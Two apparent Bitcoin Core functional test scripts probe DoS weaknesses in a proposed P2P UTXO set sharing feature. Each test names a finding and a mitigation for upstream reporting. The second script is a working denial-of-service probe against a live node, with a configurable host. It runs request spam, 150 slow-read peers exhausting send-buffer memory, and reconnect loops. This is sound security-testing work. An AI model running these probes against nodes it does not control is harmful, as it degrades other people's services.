DoS resistance tests for bitcoin/bitcoin#35054 (P2P UTXO set sharing)

p2p_utxo_set_share_dos.py

#!/usr/bin/env python3
# Copyright (c) The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test P2P UTXO set sharing DoS resistance.

Demonstrates that the serving node handles abusive request patterns
from peers on a local regtest network: repeated getutxosetinfo spam,
rapid duplicate chunk requests, concurrent serving to many peers,
slow-reading peers filling send buffers, and lack of banning on
invalid requests.

Each test documents what mitigation is missing so the findings can
be reported upstream.
"""

import os
import shutil
import time

from test_framework.messages import (
    msg_getutxoset,
    msg_getutxostinf,
)
from test_framework.p2p import P2PInterface
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import assert_equal, assert_greater_than
from test_framework.wallet import MiniWallet

START_HEIGHT = 199
SNAPSHOT_HEIGHT = 299
CHUNK_SIZE = 3_900_000


class SlowReadPeer(P2PInterface):
    """A peer that requests chunks but never processes responses,
    causing the server's send buffer to fill."""

    def on_utxoset(self, message):
        pass

    def on_utxosetinfo(self, message):
        pass


class UTXOSetShareDoSTest(BitcoinTestFramework):
    def set_test_params(self):
        self.num_nodes = 1
        self.extra_args = [[]]

    def setup_network(self):
        self.add_nodes(self.num_nodes)
        self.start_nodes()

    def create_serving_node(self):
        """Mine to SNAPSHOT_HEIGHT, create snapshot, restart with share dir."""
        n0 = self.nodes[0]
        wallet = MiniWallet(n0)
        n0.setmocktime(n0.getblockheader(n0.getbestblockhash())['time'])

        assert_equal(n0.getblockcount(), START_HEIGHT)
        for i in range(100):
            if i % 3 == 0:
                wallet.send_self_transfer(from_node=n0)
            self.generate(n0, nblocks=1, sync_fun=self.no_op)
        assert_equal(n0.getblockcount(), SNAPSHOT_HEIGHT)

        dump_output = n0.dumptxoutset("utxos.dat", "latest")
        snapshot_path = dump_output['path']

        share_dir = os.path.join(n0.datadir_path, "regtest", "share")
        os.makedirs(share_dir, exist_ok=True)
        shutil.copy(snapshot_path, os.path.join(share_dir, "utxos.dat"))

        self.restart_node(0, extra_args=["-prune=1"])
        n0.setmocktime(n0.getblockheader(n0.getbestblockhash())['time'])

        services = n0.getnetworkinfo()['localservicesnames']
        assert 'UTXO_SET' in services
        return n0

    def get_snapshot_info(self, node):
        """Connect a temporary peer, fetch utxosetinfo, return the entry."""
        peer = node.add_p2p_connection(P2PInterface())
        peer.send_and_ping(msg_getutxostinf())
        assert 'utxosetinfo' in peer.last_message
        entry = peer.last_message['utxosetinfo'].entries[0]
        peer.peer_disconnect()
        peer.wait_for_disconnect()
        return entry

    def test_getutxosetinfo_spam(self):
        """A single peer sends getutxosetinfo 100 times rapidly.

        Finding: all 100 are served with no rate limit or disconnect.
        Mitigation: rate-limit getutxosetinfo to e.g. once per minute
        per peer, or cache the response.
        """
        self.log.info("Test: getutxosetinfo spam from single peer")
        n0 = self.nodes[0]
        peer = n0.add_p2p_connection(P2PInterface())

        for _ in range(100):
            peer.send_without_ping(msg_getutxostinf())

        peer.sync_with_ping()
        assert peer.is_connected
        self.log.info("  -> Peer still connected after 100 rapid getutxosetinfo requests (no rate limit)")
        peer.peer_disconnect()
        peer.wait_for_disconnect()

    def test_repeated_same_chunk(self):
        """A single peer requests the same chunk 50 times.

        Finding: each request triggers a fresh fopen + seek + read +
        Merkle proof computation. No deduplication or caching.
        Mitigation: per-peer rate limit on getutxoset, or cache
        recently served chunks.
        """
        self.log.info("Test: same chunk requested 50 times by one peer")
        n0 = self.nodes[0]
        entry = self.snapshot_info

        peer = n0.add_p2p_connection(P2PInterface())
        for _ in range(50):
            req = msg_getutxoset(
                height=entry.height,
                block_hash=entry.block_hash,
                chunk_index=0,
            )
            peer.send_and_ping(req)
            assert 'utxoset' in peer.last_message

        self.log.info("  -> All 50 duplicate chunk requests served (no dedup/rate limit)")
        peer.peer_disconnect()
        peer.wait_for_disconnect()

    def test_many_peers_concurrent_requests(self):
        """Many peers connect and each request a chunk simultaneously.

        Finding: all requests are served with no global concurrency cap.
        Mitigation: limit how many getutxoset requests are processed
        concurrently (e.g. a global semaphore or queue).
        """
        self.log.info("Test: 20 peers each request a chunk concurrently")
        n0 = self.nodes[0]
        entry = self.snapshot_info
        total_chunks = max(1, (entry.data_length + CHUNK_SIZE - 1) // CHUNK_SIZE)

        peers = []
        for _ in range(20):
            p = n0.add_p2p_connection(P2PInterface())
            peers.append(p)

        for i, p in enumerate(peers):
            req = msg_getutxoset(
                height=entry.height,
                block_hash=entry.block_hash,
                chunk_index=i % total_chunks,
            )
            p.send_without_ping(req)

        for p in peers:
            p.sync_with_ping()
            assert 'utxoset' in p.last_message

        self.log.info("  -> All 20 concurrent chunk requests served (no concurrency limit)")
        for p in peers:
            p.peer_disconnect()
            p.wait_for_disconnect()

    def test_slow_read_peers(self):
        """Peers that request chunks but never read responses.

        Finding: the server queues data in per-connection send buffers.
        With enough slow peers, memory grows without bound.
        On mainnet: 100 peers x 3 chunks x 3.9 MB = ~1.17 GB buffered.
        This risks OOM on modest hardware.
        Mitigation: send buffer high-water mark per peer, or evict
        peers whose send buffers exceed a threshold.
        """
        NUM_SLOW_PEERS = 150
        self.log.info(f"Test: {NUM_SLOW_PEERS} slow-read peers requesting chunks")
        n0 = self.nodes[0]
        entry = self.snapshot_info
        total_chunks = max(1, (entry.data_length + CHUNK_SIZE - 1) // CHUNK_SIZE)

        slow_peers = []
        for i in range(NUM_SLOW_PEERS):
            try:
                p = n0.add_p2p_connection(SlowReadPeer())
                slow_peers.append(p)
            except Exception as e:
                self.log.info(f"  -> Could not connect peer {i}: {e}")
                break

        self.log.info(f"  -> {len(slow_peers)} slow-read peers connected")

        disconnected_during_send = 0
        for p in slow_peers:
            for c in range(min(3, total_chunks)):
                try:
                    req = msg_getutxoset(
                        height=entry.height,
                        block_hash=entry.block_hash,
                        chunk_index=c,
                    )
                    p.send_without_ping(req)
                except IOError:
                    disconnected_during_send += 1
                    break

        if disconnected_during_send:
            self.log.info(f"  -> {disconnected_during_send} peers disconnected during send (node evicted them)")

        time.sleep(5)

        info = n0.getnetworkinfo()
        still_connected = info['connections']
        self.log.info(f"  -> Node still alive with {still_connected} connections remaining")
        self.log.info("  -> On mainnet send buffers would be ~3.9 MB/chunk per surviving peer")

        for p in slow_peers:
            try:
                p.peer_disconnect()
                p.wait_for_disconnect()
            except Exception:
                pass

    def test_no_ban_on_bad_requests(self):
        """Invalid requests disconnect the peer but never call Misbehaving().

        Finding: attacker can reconnect immediately and repeat, because
        there is no ban score accumulated.
        Mitigation: call Misbehaving(100) on invalid getutxoset requests
        so the peer gets banned and cannot reconnect for 24h.
        """
        self.log.info("Test: bad requests disconnect but don't ban — peer can reconnect")
        n0 = self.nodes[0]
        entry = self.snapshot_info

        for attempt in range(5):
            p = n0.add_p2p_connection(P2PInterface())
            bad_req = msg_getutxoset(
                height=entry.height,
                block_hash=entry.block_hash,
                chunk_index=999999,
            )
            p.send_without_ping(bad_req)
            p.wait_for_disconnect()

        self.log.info("  -> Reconnected 5 times after invalid requests (no ban)")

    def wait_until_no_peers(self):
        """Wait until the node reports zero peer connections."""
        self.wait_until(lambda: self.nodes[0].getnetworkinfo()['connections'] == 0, timeout=30)

    def run_test(self):
        self.create_serving_node()
        self.snapshot_info = self.get_snapshot_info(self.nodes[0])

        self.test_getutxosetinfo_spam()
        self.wait_until_no_peers()
        self.test_repeated_same_chunk()
        self.wait_until_no_peers()
        self.test_many_peers_concurrent_requests()
        self.wait_until_no_peers()
        self.test_slow_read_peers()
        self.wait_until_no_peers()
        self.test_no_ban_on_bad_requests()

        self.log.info("=== DoS resistance test summary ===")
        self.log.info("  1. getutxosetinfo: no rate limit (100 requests served)")
        self.log.info("  2. getutxoset: no dedup, no per-peer rate limit (50 dup served)")
        self.log.info("  3. No global cap on concurrent chunk serving (20 peers served)")
        self.log.info("  4. Slow-read peers cause unbounded send buffer growth")
        self.log.info("  5. Invalid requests disconnect but don't ban (reconnect loop)")


if __name__ == '__main__':
    UTXOSetShareDoSTest(__file__).main()

p2p_utxo_set_share_dos_live.py

#!/usr/bin/env python3
# Copyright (c) The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Standalone DoS probe against a locally running node with UTXO_SET service.

Usage:
    python3 test/functional/p2p_utxo_set_share_dos_live.py [--port=8333]

Connects to 127.0.0.1:<port> using the test framework's P2P classes
and exercises the same DoS vectors as p2p_utxo_set_share_dos.py, but
against a live node rather than a framework-managed regtest instance.
"""

import argparse
import logging
import sys
import time

sys.path.insert(0, "test/functional")

from test_framework.messages import (
    msg_getutxoset,
    msg_getutxostinf,
)
from test_framework.p2p import (
    NetworkThread,
    P2PInterface,
)

logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
log = logging.getLogger("dos-live")


def connect_peer(cls, host, port, *, v2=False):
    """Create a P2PInterface, connect it, wait for verack."""
    p = cls()
    p.peer_connect(
        dstaddr=host,
        dstport=port,
        send_version=True,
        net="mainnet",
        timeout_factor=1,
        supports_v2_p2p=v2,
    )()
    p.wait_until(lambda: p.is_connected, check_connected=False, timeout=10)
    if not v2:
        p.wait_until(lambda: not p.on_connection_send_msg, timeout=10)
    p.wait_for_verack(timeout=30)
    p.sync_with_ping(timeout=30)
    return p


class SlowReadPeer(P2PInterface):
    def on_utxoset(self, message):
        pass

    def on_utxosetinfo(self, message):
        pass


def test_getutxosetinfo_spam(host, port):
    log.info("=== Test 1: getutxosetinfo spam (100 rapid requests) ===")
    p = connect_peer(P2PInterface, host, port)
    for _ in range(100):
        p.send_without_ping(msg_getutxostinf())
    p.sync_with_ping(timeout=60)
    log.info("  -> Peer still connected after 100 rapid getutxosetinfo (no rate limit)")
    p.peer_disconnect()
    time.sleep(1)


def test_repeated_same_chunk(host, port, entry):
    log.info("=== Test 2: same chunk requested 50 times ===")
    p = connect_peer(P2PInterface, host, port)
    for _ in range(50):
        req = msg_getutxoset(height=entry.height, block_hash=entry.block_hash, chunk_index=0)
        p.send_and_ping(req, timeout=60)
        assert "utxoset" in p.last_message
    log.info("  -> All 50 duplicate chunk requests served (no dedup/rate limit)")
    p.peer_disconnect()
    time.sleep(1)


def test_many_peers(host, port, entry, count=20):
    log.info(f"=== Test 3: {count} peers each request a chunk concurrently ===")
    total_chunks = max(1, (entry.data_length + 3_900_000 - 1) // 3_900_000)
    peers = []
    for i in range(count):
        try:
            p = connect_peer(P2PInterface, host, port)
            peers.append(p)
        except Exception as e:
            log.warning(f"  -> Could not connect peer {i}: {e}")
            break

    log.info(f"  -> {len(peers)} peers connected")
    for i, p in enumerate(peers):
        req = msg_getutxoset(height=entry.height, block_hash=entry.block_hash, chunk_index=i % total_chunks)
        p.send_without_ping(req)

    for p in peers:
        try:
            p.sync_with_ping(timeout=60)
        except Exception:
            pass

    served = sum(1 for p in peers if "utxoset" in p.last_message)
    log.info(f"  -> {served}/{len(peers)} concurrent chunk requests served")
    for p in peers:
        try:
            p.peer_disconnect()
        except Exception:
            pass
    time.sleep(2)


def test_slow_read_peers(host, port, entry, count=150):
    log.info(f"=== Test 4: {count} slow-read peers requesting chunks ===")
    total_chunks = max(1, (entry.data_length + 3_900_000 - 1) // 3_900_000)

    slow_peers = []
    for i in range(count):
        try:
            p = connect_peer(SlowReadPeer, host, port)
            slow_peers.append(p)
        except Exception as e:
            log.warning(f"  -> Could not connect peer {i}: {e}")
            break

    log.info(f"  -> {len(slow_peers)} slow-read peers connected")

    disconnected = 0
    for p in slow_peers:
        for c in range(min(3, total_chunks)):
            try:
                req = msg_getutxoset(height=entry.height, block_hash=entry.block_hash, chunk_index=c)
                p.send_without_ping(req)
            except IOError:
                disconnected += 1
                break

    if disconnected:
        log.info(f"  -> {disconnected} peers disconnected during send (node evicted them)")

    log.info("  -> Waiting 10s to let send buffers accumulate...")
    time.sleep(10)

    still_connected = sum(1 for p in slow_peers if p.is_connected)
    log.info(f"  -> {still_connected}/{len(slow_peers)} slow-read peers still connected")
    log.info(f"  -> fPauseSend caps in-flight data at ~1 chunk/peer, so ~{still_connected * 3.9:.0f} MB buffered on the serving node")

    for p in slow_peers:
        try:
            p.peer_disconnect()
        except Exception:
            pass
    time.sleep(2)


def test_no_ban_on_bad_request(host, port, entry):
    log.info("=== Test 5: bad requests disconnect but don't ban ===")
    for attempt in range(5):
        try:
            p = connect_peer(P2PInterface, host, port)
            bad_req = msg_getutxoset(height=entry.height, block_hash=entry.block_hash, chunk_index=999999)
            p.send_without_ping(bad_req)
            p.wait_for_disconnect(timeout=10)
        except Exception as e:
            log.warning(f"  -> Attempt {attempt}: {e}")
    log.info("  -> Reconnected 5 times after invalid requests (no ban)")


def main():
    parser = argparse.ArgumentParser(description="DoS probe against live UTXO_SET node")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8333)
    args = parser.parse_args()

    NetworkThread.network_event_loop = None
    network_thread = NetworkThread()
    network_thread.start()

    for _ in range(50):
        if NetworkThread.network_event_loop is not None:
            break
        time.sleep(0.1)
    else:
        log.error("NetworkThread event loop did not start")
        return 1

    try:
        log.info(f"Connecting to {args.host}:{args.port} to fetch utxosetinfo...")
        scout = connect_peer(P2PInterface, args.host, args.port)
        scout.send_and_ping(msg_getutxostinf(), timeout=60)

        if "utxosetinfo" not in scout.last_message:
            log.error("Node did not respond to getutxosetinfo — does it have UTXO_SET service?")
            scout.peer_disconnect()
            return 1

        entry = scout.last_message["utxosetinfo"].entries[0]
        log.info(f"  -> Snapshot at height {entry.height}, data_length={entry.data_length}")
        total_chunks = (entry.data_length + 3_900_000 - 1) // 3_900_000
        log.info(f"  -> {total_chunks} chunks of 3.9 MB each")
        scout.peer_disconnect()
        time.sleep(1)

        test_getutxosetinfo_spam(args.host, args.port)
        test_repeated_same_chunk(args.host, args.port, entry)
        test_many_peers(args.host, args.port, entry, count=20)
        test_slow_read_peers(args.host, args.port, entry, count=150)
        test_no_ban_on_bad_request(args.host, args.port, entry)

        log.info("=== All tests complete — node survived ===")
        return 0

    finally:
        network_thread.close(timeout=10)


if __name__ == "__main__":
    sys.exit(main())